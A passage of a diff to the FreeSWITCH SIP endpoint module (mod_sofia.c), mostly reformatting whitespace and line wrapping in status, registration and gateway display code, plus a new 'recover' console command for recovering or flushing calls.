if (sofia_glue_activate_rtp(tech_pvt, 0) != SWITCH_STATUS_SUCCESS) {
status = SWITCH_STATUS_FALSE;
goto end_lock;
@@ -1839,8 +1873,8 @@
tech_pvt->num_codecs = 0;
sofia_glue_tech_prepare_codecs(tech_pvt);
if (zstr(r_sdp) || sofia_glue_tech_media(tech_pvt, r_sdp) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
- "CODEC NEGOTIATION ERROR. SDP:\n%s\n", r_sdp ? r_sdp : "NO SDP!");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
+ "CODEC NEGOTIATION ERROR. SDP:\n%s\n", r_sdp ? r_sdp : "NO SDP!");
switch_channel_set_variable(channel, SWITCH_ENDPOINT_DISPOSITION_VARIABLE, "CODEC NEGOTIATION ERROR");
//nua_respond(tech_pvt->nh, SIP_488_NOT_ACCEPTABLE, TAG_END());
status = SWITCH_STATUS_FALSE;
@@ -1873,7 +1907,7 @@
if (!sofia_test_flag(tech_pvt, TFLAG_BYE)) {
char *extra_header = sofia_glue_get_extra_headers(channel, SOFIA_SIP_PROGRESS_HEADER_PREFIX);
-
+
if (sofia_use_soa(tech_pvt)) {
nua_respond(tech_pvt->nh,
SIP_183_SESSION_PROGRESS,
@@ -1884,12 +1918,11 @@
SOATAG_REUSE_REJECTED(1),
SOATAG_ORDERED_USER(1),
SOATAG_ADDRESS(tech_pvt->adv_sdp_audio_ip),
- SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str), SOATAG_AUDIO_AUX("cn telephone-event"),
+ SOATAG_USER_SDP_STR(tech_pvt->local_sdp_str), SOATAG_AUDIO_AUX("cn telephone-event"),
TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
- TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
- SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
- TAG_END());
+ TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+ SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
} else {
nua_respond(tech_pvt->nh,
SIP_183_SESSION_PROGRESS,
@@ -1899,12 +1932,11 @@
SIPTAG_HEADER_STR(generate_pai_str(session)),
SIPTAG_CONTACT_STR(tech_pvt->reply_contact),
SIPTAG_CONTENT_TYPE_STR("application/sdp"),
- SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
+ SIPTAG_PAYLOAD_STR(tech_pvt->local_sdp_str),
TAG_IF(call_info, SIPTAG_CALL_INFO_STR(call_info)),
TAG_IF(!zstr(extra_header), SIPTAG_HEADER_STR(extra_header)),
- TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
- SIPTAG_HEADER_STR("X-FS-Support: "FREESWITCH_SUPPORT)),
- TAG_END());
+ TAG_IF(switch_stristr("update_display", tech_pvt->x_freeswitch_support_remote),
+ SIPTAG_HEADER_STR("X-FS-Support: " FREESWITCH_SUPPORT)), TAG_END());
}
switch_safe_free(extra_header);
}
@@ -1915,7 +1947,7 @@
break;
}
- end_lock:
+ end_lock:
if (msg->message_id == SWITCH_MESSAGE_INDICATE_ANSWER || msg->message_id == SWITCH_MESSAGE_INDICATE_PROGRESS) {
sofia_send_callee_id(session, NULL, NULL);
@@ -1960,7 +1992,7 @@
typedef switch_status_t (*sofia_command_t) (char **argv, int argc, switch_stream_handle_t *stream);
-static const char *sofia_state_names[] = {
+static const char *sofia_state_names[] = {
"UNREGED",
"TRYING",
"REGISTER",
@@ -1973,7 +2005,7 @@
NULL
};
-const char * sofia_state_string(int state)
+const char *sofia_state_string(int state)
{
return sofia_state_names[state];
}
@@ -2025,7 +2057,7 @@
switch_time_exp_t tm;
const int buflen = 2048;
char xmlbuf[2048];
-
+
if (argv[6]) {
switch_time_t etime = atoi(argv[6]);
switch_size_t retsize;
@@ -2047,9 +2079,9 @@
" <sip-auth-user>%s</sip-auth-user>\n"
" <sip-auth-realm>%s</sip-auth-realm>\n"
" <mwi-account>%s@%s</mwi-account>\n"
- " </registration>\n",
- switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]),
- switch_amp_encode(switch_str_nil(argv[3]),xmlbuf,buflen),
+ " </registration>\n",
+ switch_str_nil(argv[0]), switch_str_nil(argv[1]), switch_str_nil(argv[2]),
+ switch_amp_encode(switch_str_nil(argv[3]), xmlbuf, buflen),
switch_str_nil(argv[7]), switch_str_nil(argv[4]), switch_str_nil(argv[5]), exp_buf, switch_str_nil(argv[11]),
switch_str_nil(argv[12]), switch_str_nil(argv[13]), switch_str_nil(argv[14]), switch_str_nil(argv[15]),
switch_str_nil(argv[16]), switch_str_nil(argv[17]));
@@ -2058,6 +2090,7 @@
static const char *status_names[] = { "DOWN", "UP", NULL };
+
static switch_status_t cmd_status(char **argv, int argc, switch_stream_handle_t *stream)
{
sofia_profile_t *profile = NULL;
@@ -2074,6 +2107,7 @@
stream->write_function(stream, "Invalid Syntax!\n");
return SWITCH_STATUS_SUCCESS;
}
+
if (!strcasecmp(argv[0], "gateway")) {
if ((gp = sofia_reg_find_gateway(argv[1]))) {
switch_assert(gp->state < REG_STATE_LAST);
@@ -2115,29 +2149,28 @@
stream->write_function(stream, "Name \t%s\n", switch_str_nil(argv[1]));
stream->write_function(stream, "Domain Name \t%s\n", profile->domain_name ? profile->domain_name : "N/A");
if (strcasecmp(argv[1], profile->name)) {
- stream->write_function(stream, "Alias Of \t%s\n", switch_str_nil(profile->name));
+ stream->write_function(stream, "Alias Of \t%s\n", switch_str_nil(profile->name));
}
stream->write_function(stream, "Auto-NAT \t%s\n", sofia_test_pflag(profile, PFLAG_AUTO_NAT) ? "true" : "false");
stream->write_function(stream, "DBName \t%s\n", profile->dbname ? profile->dbname : switch_str_nil(profile->odbc_dsn));
stream->write_function(stream, "Pres Hosts \t%s\n", switch_str_nil(profile->presence_hosts));
stream->write_function(stream, "Dialplan \t%s\n", switch_str_nil(profile->dialplan));
stream->write_function(stream, "Context \t%s\n", switch_str_nil(profile->context));
- stream->write_function(stream, "Challenge Realm \t%s\n",
- zstr(profile->challenge_realm) ? "auto_to" : profile->challenge_realm);
+ stream->write_function(stream, "Challenge Realm \t%s\n", zstr(profile->challenge_realm) ? "auto_to" : profile->challenge_realm);
stream->write_function(stream, "RTP-IP \t%s\n", switch_str_nil(profile->rtpip));
if (profile->extrtpip) {
- stream->write_function(stream, "Ext-RTP-IP \t%s\n", profile->extrtpip);
+ stream->write_function(stream, "Ext-RTP-IP \t%s\n", profile->extrtpip);
}
stream->write_function(stream, "SIP-IP \t%s\n", switch_str_nil(profile->sipip));
if (profile->extsipip) {
- stream->write_function(stream, "Ext-SIP-IP \t%s\n", profile->extsipip);
+ stream->write_function(stream, "Ext-SIP-IP \t%s\n", profile->extsipip);
}
stream->write_function(stream, "URL \t%s\n", switch_str_nil(profile->url));
stream->write_function(stream, "BIND-URL \t%s\n", switch_str_nil(profile->bindurl));
if (sofia_test_pflag(profile, PFLAG_TLS)) {
- stream->write_function(stream, "TLS-URL \t%s\n", switch_str_nil(profile->tls_url));
- stream->write_function(stream, "TLS-BIND-URL \t%s\n", switch_str_nil(profile->tls_bindurl));
+ stream->write_function(stream, "TLS-URL \t%s\n", switch_str_nil(profile->tls_url));
+ stream->write_function(stream, "TLS-BIND-URL \t%s\n", switch_str_nil(profile->tls_bindurl));
}
stream->write_function(stream, "HOLD-MUSIC \t%s\n", zstr(profile->hold_music) ? "N/A" : profile->hold_music);
stream->write_function(stream, "OUTBOUND-PROXY \t%s\n", zstr(profile->outbound_proxy) ? "N/A" : profile->outbound_proxy);
@@ -2146,11 +2179,11 @@
stream->write_function(stream, "TEL-EVENT \t%d\n", profile->te);
if (profile->dtmf_type == DTMF_2833) {
- stream->write_function(stream, "DTMF-MODE \trfc2833\n");
+ stream->write_function(stream, "DTMF-MODE \trfc2833\n");
} else if (profile->dtmf_type == DTMF_INFO) {
- stream->write_function(stream, "DTMF-MODE \tinfo\n");
+ stream->write_function(stream, "DTMF-MODE \tinfo\n");
} else {
- stream->write_function(stream, "DTMF-MODE \tnone\n");
+ stream->write_function(stream, "DTMF-MODE \tnone\n");
}
stream->write_function(stream, "CNG \t%d\n", profile->cng_pt);
stream->write_function(stream, "SESSION-TO \t%d\n", profile->session_timeout);
@@ -2158,14 +2191,15 @@
stream->write_function(stream, "NOMEDIA \t%s\n", sofia_test_flag(profile, TFLAG_INB_NOMEDIA) ? "true" : "false");
stream->write_function(stream, "LATE-NEG \t%s\n", sofia_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? "true" : "false");
stream->write_function(stream, "PROXY-MEDIA \t%s\n", sofia_test_flag(profile, TFLAG_PROXY_MEDIA) ? "true" : "false");
- stream->write_function(stream, "AGGRESSIVENAT \t%s\n", sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
+ stream->write_function(stream, "AGGRESSIVENAT \t%s\n",
+ sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
stream->write_function(stream, "STUN-ENABLED \t%s\n", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
stream->write_function(stream, "STUN-AUTO-DISABLE\t%s\n", sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
if (profile->user_agent_filter) {
- stream->write_function(stream, "USER-AGENT-FILTER\t%s\n", switch_str_nil(profile->user_agent_filter));
+ stream->write_function(stream, "USER-AGENT-FILTER\t%s\n", switch_str_nil(profile->user_agent_filter));
}
if (profile->max_registrations_perext > 0) {
- stream->write_function(stream, "MAX-REG-PEREXT \t%d\n", profile->max_registrations_perext);
+ stream->write_function(stream, "MAX-REG-PEREXT \t%d\n", profile->max_registrations_perext);
}
stream->write_function(stream, "CALLS-IN \t%d\n", profile->ib_calls);
stream->write_function(stream, "FAILED-CALLS-IN \t%d\n", profile->ib_failed_calls);
@@ -2176,20 +2210,18 @@
cb.profile = profile;
cb.stream = stream;
-
+
if (!sql && argv[2] && !strcasecmp(argv[2], "pres") && argv[3]) {
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
- "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
- "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
- " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'",
- profile->name, argv[3]);
+ "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+ "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+ " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'", profile->name, argv[3]);
}
if (!sql && argv[2] && !strcasecmp(argv[2], "reg") && argv[3]) {
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
- "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
- "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
- " from sip_registrations where profile_name='%q' and contact like '%%%q%%'",
- profile->name, argv[3]);
+ "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+ "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+ " from sip_registrations where profile_name='%q' and contact like '%%%q%%'", profile->name, argv[3]);
}
if (!sql && argv[2] && !strcasecmp(argv[2], "user") && argv[3]) {
char *dup = strdup(argv[3]);
@@ -2205,7 +2237,7 @@
host = dup;
}
- if (zstr(user) ) {
+ if (zstr(user)) {
sqlextra = switch_mprintf("(sip_host='%q')", host);
} else if (zstr(host)) {
sqlextra = switch_mprintf("(sip_user='%q')", user);
@@ -2214,10 +2246,9 @@
}
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
- "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
- "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
- " from sip_registrations where profile_name='%q' and %s",
- profile->name, sqlextra);
+ "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+ "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+ " from sip_registrations where profile_name='%q' and %s", profile->name, sqlextra);
switch_safe_free(dup);
switch_safe_free(sqlextra);
}
@@ -2226,8 +2257,7 @@
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
"rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
"network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
- " from sip_registrations where profile_name='%q'",
- profile->name);
+ " from sip_registrations where profile_name='%q'", profile->name);
}
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, show_reg_callback, &cb);
@@ -2301,9 +2331,9 @@
char xmlbuf[2096];
int c = 0;
int ac = 0;
- const char *header = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>";
-
- if (argc > 0) {
+ const char *header = "<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?>";
+
+ if (argc > 0) {
if (argc == 1) {
stream->write_function(stream, "Invalid Syntax!\n");
return SWITCH_STATUS_SUCCESS;
@@ -2319,9 +2349,9 @@
stream->write_function(stream, " <realm>%s</realm>\n", switch_str_nil(gp->register_realm));
stream->write_function(stream, " <username>%s</username>\n", switch_str_nil(gp->register_username));
stream->write_function(stream, " <password>%s</password>\n", zstr(gp->register_password) ? "no" : "yes");
- stream->write_function(stream, " <from>%s</from>\n", switch_amp_encode(switch_str_nil(gp->register_from),xmlbuf,buflen));
- stream->write_function(stream, " <contact>%s</contact>\n", switch_amp_encode(switch_str_nil(gp->register_contact),xmlbuf,buflen));
- stream->write_function(stream, " <exten>%s</exten>\n", switch_amp_encode(switch_str_nil(gp->extension),xmlbuf,buflen));
+ stream->write_function(stream, " <from>%s</from>\n", switch_amp_encode(switch_str_nil(gp->register_from), xmlbuf, buflen));
+ stream->write_function(stream, " <contact>%s</contact>\n", switch_amp_encode(switch_str_nil(gp->register_contact), xmlbuf, buflen));
+ stream->write_function(stream, " <exten>%s</exten>\n", switch_amp_encode(switch_str_nil(gp->extension), xmlbuf, buflen));
stream->write_function(stream, " <to>%s</to>\n", switch_str_nil(gp->register_to));
stream->write_function(stream, " <proxy>%s</proxy>\n", switch_str_nil(gp->register_proxy));
stream->write_function(stream, " <context>%s</context>\n", switch_str_nil(gp->register_context));
@@ -2358,7 +2388,7 @@
stream->write_function(stream, " <pres-hosts>%s</pres-hosts>\n", switch_str_nil(profile->presence_hosts));
stream->write_function(stream, " <dialplan>%s</dialplan>\n", switch_str_nil(profile->dialplan));
stream->write_function(stream, " <context>%s</context>\n", switch_str_nil(profile->context));
- stream->write_function(stream, " <challenge-realm>%s</challenge-realm>\n",
+ stream->write_function(stream, " <challenge-realm>%s</challenge-realm>\n",
zstr(profile->challenge_realm) ? "auto_to" : profile->challenge_realm);
stream->write_function(stream, " <rtp-ip>%s</rtp-ip>\n", switch_str_nil(profile->rtpip));
stream->write_function(stream, " <ext-rtp-ip>%s</ext-rtp-ip>\n", profile->extrtpip);
@@ -2369,7 +2399,8 @@
stream->write_function(stream, " <tls-url>%s</tls-url>\n", switch_str_nil(profile->tls_url));
stream->write_function(stream, " <tls-bind-url>%s</tls-bind-url>\n", switch_str_nil(profile->tls_bindurl));
stream->write_function(stream, " <hold-music>%s</hold-music>\n", zstr(profile->hold_music) ? "N/A" : profile->hold_music);
- stream->write_function(stream, " <outbound-proxy>%s</outbound-proxy>\n", zstr(profile->outbound_proxy) ? "N/A" : profile->outbound_proxy);
+ stream->write_function(stream, " <outbound-proxy>%s</outbound-proxy>\n",
+ zstr(profile->outbound_proxy) ? "N/A" : profile->outbound_proxy);
stream->write_function(stream, " <inbound-codecs>%s</inbound-codecs>\n", switch_str_nil(profile->inbound_codec_string));
stream->write_function(stream, " <outbound-codecs>%s</outbound-codecs>\n", switch_str_nil(profile->outbound_codec_string));
@@ -2383,13 +2414,15 @@
stream->write_function(stream, " <nomedia>%s</nomedia>\n", sofia_test_flag(profile, TFLAG_INB_NOMEDIA) ? "true" : "false");
stream->write_function(stream, " <late-neg>%s</late-neg>\n", sofia_test_flag(profile, TFLAG_LATE_NEGOTIATION) ? "true" : "false");
stream->write_function(stream, " <proxy-media>%s</proxy-media>\n", sofia_test_flag(profile, TFLAG_PROXY_MEDIA) ? "true" : "false");
- stream->write_function(stream, " <aggressive-nat>%s</aggressive-nat>\n",
+ stream->write_function(stream, " <aggressive-nat>%s</aggressive-nat>\n",
sofia_test_pflag(profile, PFLAG_AGGRESSIVE_NAT_DETECTION) ? "true" : "false");
- stream->write_function(stream, " <stun-enabled>%s</stun-enabled>\n", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
- stream->write_function(stream, " <stun-auto-disable>%s</stun-auto-disable>\n",
+ stream->write_function(stream, " <stun-enabled>%s</stun-enabled>\n",
+ sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
+ stream->write_function(stream, " <stun-auto-disable>%s</stun-auto-disable>\n",
sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
stream->write_function(stream, " <user-agent-filter>%s</user-agent-filter>\n", switch_str_nil(profile->user_agent_filter));
- stream->write_function(stream, " <max-registrations-per-extension>%d</max-registrations-per-extension>\n", profile->max_registrations_perext);
+ stream->write_function(stream, " <max-registrations-per-extension>%d</max-registrations-per-extension>\n",
+ profile->max_registrations_perext);
stream->write_function(stream, " <calls-in>%d</calls-in>\n", profile->ib_calls);
stream->write_function(stream, " <calls-out>%d</calls-out>\n", profile->ob_calls);
stream->write_function(stream, " <failed-calls-in>%d</failed-calls-in>\n", profile->ib_failed_calls);
@@ -2404,18 +2437,16 @@
if (!sql && argv[2] && !strcasecmp(argv[2], "pres") && argv[3]) {
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
- "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
- "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
- " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'",
- profile->name, argv[3]);
+ "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+ "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+ " from sip_registrations where profile_name='%q' and presence_hosts like '%%%q%%'", profile->name, argv[3]);
}
if (!sql && argv[2] && !strcasecmp(argv[2], "reg") && argv[3]) {
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
- "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
- "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
- " from sip_registrations where profile_name='%q' and contact like '%%%q%%'",
- profile->name, argv[3]);
+ "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+ "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+ " from sip_registrations where profile_name='%q' and contact like '%%%q%%'", profile->name, argv[3]);
}
if (!sql && argv[2] && !strcasecmp(argv[2], "user") && argv[3]) {
char *dup = strdup(argv[3]);
@@ -2440,10 +2471,9 @@
}
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
- "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
- "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
- " from sip_registrations where profile_name='%q' and %s",
- profile->name, sqlextra);
+ "rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
+ "network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
+ " from sip_registrations where profile_name='%q' and %s", profile->name, sqlextra);
switch_safe_free(dup);
switch_safe_free(sqlextra);
}
@@ -2452,8 +2482,7 @@
sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,"
"rpid,expires,user_agent,server_user,server_host,profile_name,hostname,"
"network_ip,network_port,sip_username,sip_realm,mwi_user,mwi_host"
- " from sip_registrations where profile_name='%q'",
- profile->name);
+ " from sip_registrations where profile_name='%q'", profile->name);
}
sofia_glue_execute_sql_callback(profile, profile->ireg_mutex, sql, show_reg_callback_xml, &cb);
@@ -2473,8 +2502,8 @@
return SWITCH_STATUS_SUCCESS;
}
- stream->write_function(stream, "%s\n", header);
- stream->write_function(stream, "<profiles>\n");
+ stream->write_function(stream, "%s\n", header);
+ stream->write_function(stream, "<profiles>\n");
switch_mutex_lock(mod_sofia_globals.hash_mutex);
for (hi = switch_hash_first(NULL, mod_sofia_globals.profile_hash); hi; hi = switch_hash_next(hi)) {
switch_hash_this(hi, &vvar, NULL, &val);
@@ -2483,21 +2512,26 @@
if (strcmp(vvar, profile->name)) {
ac++;
- stream->write_function(stream, "<alias>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</alias>\n", vvar, "alias", profile->name, "ALIASED");
+ stream->write_function(stream, "<alias>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</alias>\n", vvar, "alias",
+ profile->name, "ALIASED");
} else {
- stream->write_function(stream, "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u)</state>\n</profile>\n", profile->name, "profile", profile->url,
- sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN", profile->inuse);
+ stream->write_function(stream, "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u)</state>\n</profile>\n",
+ profile->name, "profile", profile->url, sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN",
+ profile->inuse);
if (sofia_test_pflag(profile, PFLAG_TLS)) {
- stream->write_function(stream, "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u) (TLS)</state>\n</profile>\n", profile->name, "profile", profile->tls_url,
- sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN", profile->inuse);
+ stream->write_function(stream,
+ "<profile>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s (%u) (TLS)</state>\n</profile>\n",
+ profile->name, "profile", profile->tls_url, sofia_test_pflag(profile, PFLAG_RUNNING) ? "RUNNING" : "DOWN",
+ profile->inuse);
}
c++;
for (gp = profile->gateways; gp; gp = gp->next) {
switch_assert(gp->state < REG_STATE_LAST);
- stream->write_function(stream, "<gateway>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</gateway>\n", gp->name, "gateway", gp->register_to, sofia_state_names[gp->state]);
+ stream->write_function(stream, "<gateway>\n<name>%s</name>\n<type>%s</type>\n<data>%s</data>\n<state>%s</state>\n</gateway>\n",
+ gp->name, "gateway", gp->register_to, sofia_state_names[gp->state]);
if (gp->state == REG_STATE_FAILED || gp->state == REG_STATE_TRYING) {
time_t now = switch_epoch_time_now(NULL);
if (gp->retry > now) {
@@ -2547,7 +2581,7 @@
sofia_glue_restart_all_profiles();
return SWITCH_STATUS_SUCCESS;
}
-
+
if (zstr(profile_name) || !(profile = sofia_glue_find_profile(profile_name))) {
stream->write_function(stream, "Invalid Profile [%s]", switch_str_nil(profile_name));
return SWITCH_STATUS_SUCCESS;
@@ -2560,7 +2594,7 @@
goto done;
}
- if ((gateway_ptr = sofia_reg_find_gateway(argv[2]))) {
+ if ((gateway_ptr = sofia_reg_find_gateway(argv[2]))) {
sofia_glue_del_gateway(gateway_ptr);
sofia_reg_release_gateway(gateway_ptr);
stream->write_function(stream, "+OK gateway marked for deletion.\n");
@@ -2582,7 +2616,7 @@
}
stream->write_function(stream, "+OK stun-auto-disable=%s", sofia_test_pflag(profile, PFLAG_STUN_AUTO_DISABLE) ? "true" : "false");
-
+
goto done;
}
@@ -2597,7 +2631,7 @@
}
stream->write_function(stream, "+OK stun-enabled=%s", sofia_test_pflag(profile, PFLAG_STUN_ENABLED) ? "true" : "false");
-
+
goto done;
}
@@ -2610,7 +2644,7 @@
}
stream->write_function(stream, "Reload XML [%s]\n", err);
}
-
+
if (reconfig_sofia(profile) == SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "+OK scan complete\n");
} else {
@@ -2724,7 +2758,7 @@
}
goto done;
}
-
+
if (!strcasecmp(argv[1], "siptrace")) {
if (argc > 2) {
int value = switch_true(argv[2]);
@@ -2751,7 +2785,7 @@
struct cb_helper *cb = (struct cb_helper *) pArg;
char *contact;
- if (!zstr(argv[0]) && (contact = sofia_glue_get_url_from_contact(argv[0], 1)) ) {
+ if (!zstr(argv[0]) && (contact = sofia_glue_get_url_from_contact(argv[0], 1))) {
cb->stream->write_function(cb->stream, "%ssofia/%s/sip:%s,", argv[2], argv[1], sofia_glue_strip_proto(contact));
free(contact);
}
@@ -2770,7 +2804,7 @@
sofia_profile_t *profile = NULL;
const char *exclude_contact = NULL;
char *reply = "error/facility_not_subscribed";
-
+
if (!cmd) {
stream->write_function(stream, "%s", "");
return SWITCH_STATUS_SUCCESS;
@@ -2795,13 +2829,12 @@
if ((domain = strchr(user, '@'))) {
*domain++ = '\0';
- if ( (concat = strchr( domain, '/')) ) {
- *concat++ = '\0';
+ if ((concat = strchr(domain, '/'))) {
+ *concat++ = '\0';
}
- }
- else {
- if ( (concat = strchr( user, '/')) ) {
- *concat++ = '\0';
+ } else {
+ if ((concat = strchr(user, '/'))) {
+ *concat++ = '\0';
}
}
@@ -2837,12 +2870,11 @@
if (exclude_contact) {
sql = switch_mprintf("select contact, profile_name, '%q' "
"from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%') "
- "and contact not like '%%%s%%'",
- ( concat != NULL ) ? concat : "", user, domain, domain, exclude_contact);
+ "and contact not like '%%%s%%'", (concat != NULL) ? concat : "", user, domain, domain, exclude_contact);
} else {
sql = switch_mprintf("select contact, profile_name, '%q' "
- "from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%')",
- ( concat != NULL ) ? concat : "", user, domain, domain);
+ "from sip_registrations where sip_user='%q' and (sip_host='%q' or presence_hosts like '%%%q%%')",
+ (concat != NULL) ? concat : "", user, domain, domain);
}
switch_assert(sql);
@@ -2859,7 +2891,7 @@
stream->write_function(stream, "%s", reply);
reply = NULL;
-
+
switch_safe_free(mystream.data);
}
}
@@ -2886,7 +2918,7 @@
sofia_gateway_t *gateway;
char *gwname, *param, *varname;
const char *val = NULL;
-
+
if (zstr(cmd)) {
stream->write_function(stream, "-ERR Parameter missing\n");
return SWITCH_STATUS_SUCCESS;
@@ -2894,27 +2926,27 @@
if (!(mydata = strdup(cmd))) {
return SWITCH_STATUS_FALSE;
}
-
+
if (!(argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) || !argv[0]) {
goto end;
}
-
+
gwname = argv[0];
param = argv[1];
varname = argv[2];
-
+
if (zstr(gwname) || zstr(param) || zstr(varname)) {
goto end;
}
-
+
if (!(gateway = sofia_reg_find_gateway(gwname))) {
goto end;
}
-
+
if (!strcasecmp(param, "ivar") && gateway->ib_vars && (val = switch_event_get_header(gateway->ib_vars, varname))) {
stream->write_function(stream, "%s", val);
} else if (!strcasecmp(param, "ovar") && gateway->ob_vars && (val = switch_event_get_header(gateway->ob_vars, varname))) {
- stream->write_function(stream, "%s", val);
+ stream->write_function(stream, "%s", val);
} else if (!strcasecmp(param, "var")) {
if (gateway->ib_vars && (val = switch_event_get_header(gateway->ib_vars, varname))) {
stream->write_function(stream, "%s", val);
@@ -2922,10 +2954,10 @@
stream->write_function(stream, "%s", val);
}
}
-
+
sofia_reg_release_gateway(gateway);
-
-end:
+
+ end:
switch_safe_free(mydata);
return SWITCH_STATUS_SUCCESS;
}
@@ -2977,7 +3009,7 @@
mod_sofia_globals.tracelevel = switch_log_str2level(argv[1]);
}
stream->write_function(stream, "+OK tracelevel is %s", switch_log_level2str(mod_sofia_globals.tracelevel));
- goto done;
+ goto done;
} else if (!strcasecmp(argv[0], "loglevel")) {
if (argc > 2 && argv[2] && switch_is_number(argv[2])) {
int level = atoi(argv[2]);
@@ -3000,6 +3032,20 @@
} else if (!strcasecmp(argv[0], "help")) {
stream->write_function(stream, "%s", usage_string);
goto done;
+ } else if (!strcasecmp(argv[0], "recover")) {
+ if (argv[1] && !strcasecmp(argv[1], "flush")) {
+ sofia_glue_recover(SWITCH_TRUE);
+ stream->write_function(stream, "Flushing recovery database.\n");
+ } else {
+ int x = sofia_glue_recover(SWITCH_FALSE);
+ if (x) {
+ stream->write_function(stream, "Recovered %d call(s)\n", x);
+ } else {
+ stream->write_function(stream, "No calls to recover.\n");
+ }
+ }
+
+ goto done;
}
if (func) {
@@ -3036,9 +3082,9 @@
/*.on_consume_media */ NULL,
/*.on_hibernate */ sofia_on_hibernate,
/*.on_reset */ sofia_on_reset,
- /*.on_park*/ NULL,
- /*.on_reporting*/ NULL,
- /*.on_destroy*/ sofia_on_destroy
+ /*.on_park */ NULL,
+ /*.on_reporting */ NULL,
+ /*.on_destroy */ sofia_on_destroy
};
static switch_status_t sofia_manage(char *relative_oid, switch_management_action_t action, char *data, switch_size_t datalen)
@@ -3052,7 +3098,7 @@
{
switch_call_cause_t cause = SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER;
switch_core_session_t *nsession = NULL;
- char *data, *profile_name, *dest;//, *dest_num = NULL;
+ char *data, *profile_name, *dest; //, *dest_num = NULL;
sofia_profile_t *profile = NULL;
switch_caller_profile_t *caller_profile = NULL;
private_object_t *tech_pvt = NULL;
@@ -3060,7 +3106,7 @@
char *host = NULL, *dest_to = NULL;
const char *hval = NULL;
char *not_const = NULL;
-
+
*new_session = NULL;
if (!outbound_profile || zstr(outbound_profile->destination_number)) {
@@ -3175,7 +3221,7 @@
